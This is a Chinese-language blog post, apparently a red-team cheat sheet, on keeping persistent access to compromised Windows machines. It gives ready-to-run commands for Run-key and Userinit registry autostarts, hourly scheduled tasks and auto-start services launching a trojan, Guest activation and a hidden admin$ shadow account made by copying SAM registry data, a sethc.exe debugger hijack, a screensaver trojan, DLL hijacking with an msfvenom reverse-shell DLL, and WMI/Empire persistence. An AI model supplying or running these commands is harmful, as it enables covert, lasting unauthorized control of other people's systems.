windows权限维持

一 注册表

二 计划任务

三 服务

四 影子账户和激活guest

五 快捷键位

六 镜像劫持

七 屏幕保护程序

八 dll劫持

九 wmi后门

一、注册表

打开HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run下新建一个开机启动项。

REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "C:\Windows\tmp\12.exe"

windows权限维持
windows权限维持

注册表:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon的键值Userinit

将键值添加为C:\Windows\system32\userinit.exe,cmd.exe

windows权限维持

二、计划任务

schtasks /Create /tn Updater /tr c:\windows\12.exe /sc hourly /mo 1

命令会在每小时执行一次12.exe ,win7及以下的系统使用at命令代替

三、服务

使用一个免杀工具地址: https://github.com/itm4n/PrintSpoofer

shell sc create "serverport" binpath= "C:\Pentest\12.exe"

shell sc description "serverport" "serverpower"【设置服务的描述】

shell sc config "serverport" start= auto 【设置服务自启动】

shell net start "serverport"

windows权限维持

四、影子账户配合3389

激活guest账户

C:\>net user guest /active:yes 

C:\>net user guest 1234@12.com

C:\>net localgroup administrators guest /add

影子账户

添加一个用户名带$的用户,如:admin$:123456@sec

net user admin$ 123456@sec /add #添加用户admin$

net localgroup administrators admin$ /add #将admin$用户添加到管理员组administrators

windows权限维持

此时使用net user 无法查看出 但 可以在控制面板的管理工具中用户与用户组查看到该用户的存在

登录

windows权限维持

对注册表进行修改利用 运行 输入regedit 打开注册表

HKEY_LOCAL_MACHINE----SAM--SAM

windows权限维持

右键 权限

windows权限维持

(某些系统需要重新打开注册表刷新)回到注册表主页面

,找HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users和HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names

windows权限维持
windows权限维持

将Administrator F表内的二进制数据复制下来 替换 admin$的

windows权限维持

导出Users和Names下对应admin$项

windows权限维持

用cmdshell(管理员权限)将admin$删除

net user admin$ /del

导入刚才的文件(直接鼠标拖入即可)

windows权限维持

导入成功后回到管理工具中的查看用户与用户组的页面,发现用户组和用户已经没有admin$这个用户的存在

添加admin$用户的用户名到远程登录

windows权限维持

五、快捷键位(手工忽略)

C:\Windows\System32\sethc.exe  粘滞键shift键位

C:\Windows\System32\utilman.exe 设置中心 快捷键:Windows+U 键

C:\Windows\System32\osk.exe        屏幕键盘

C:\Windows\System32\Magnify.exe    放大镜      快捷键:Windows+加减号

六、镜像劫持

修改注册表,利用镜像劫持。将快捷键shift 替换为木马

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\12.exe"

windows权限维持
windows权限维持

然后连续按5次“Shift”,就会执行木马

七 屏幕保护程序

屏幕保护程序设置存储在注册表中

将木马文件的后缀由exe改为scr

使用/f参数强制执行

reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "C:\windows\12.scr" /f

reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "C:\windows\12.exe" /f

windows权限维持
windows权限维持

修改屏保启动时间

reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1 /f

reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeout /t REG_SZ /d 60 /f

reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f

或者使用nishang powershell脚本

八 dll劫持

原理:windows程序启动需要dll,如果这些dll不存在,则可以通过在应用程序中查找的位置防止恶意的dll来提权,DLL注入是一种允许攻击者在另一个进程的地址空间的上下文中运行任意代码的技术。如果某进程以过多的权限运行,那么可以会被攻击者加以利用,以DLL文件的形式执行恶意代码以提升权限

msf生成dll文件或者其他工具生成

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=XXXX LPORT=4444 -f dll > /tmp/pentestlab.dll

替换第三方工具 或者系统不重要的程序

常用的如LPK.dll的劫持

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\ExcludeFromKnownDlls

九 wmi后门

WMIC扩展WMI(Windows Management Instrumentation,Windows管理工具),提供了从命令行接口和批命令脚本执行系统管理的支持。

检索系统已安装的软件

wmic product list brief |more

搜索系统运行服务

wmic service list brief |more

使用powershell脚本进行实现

empire使用模块:usemodule persistence/elevated/wmi



windows权限维持

上一篇:C# 实现gRPC通信


下一篇:多核环境下的内存屏障指令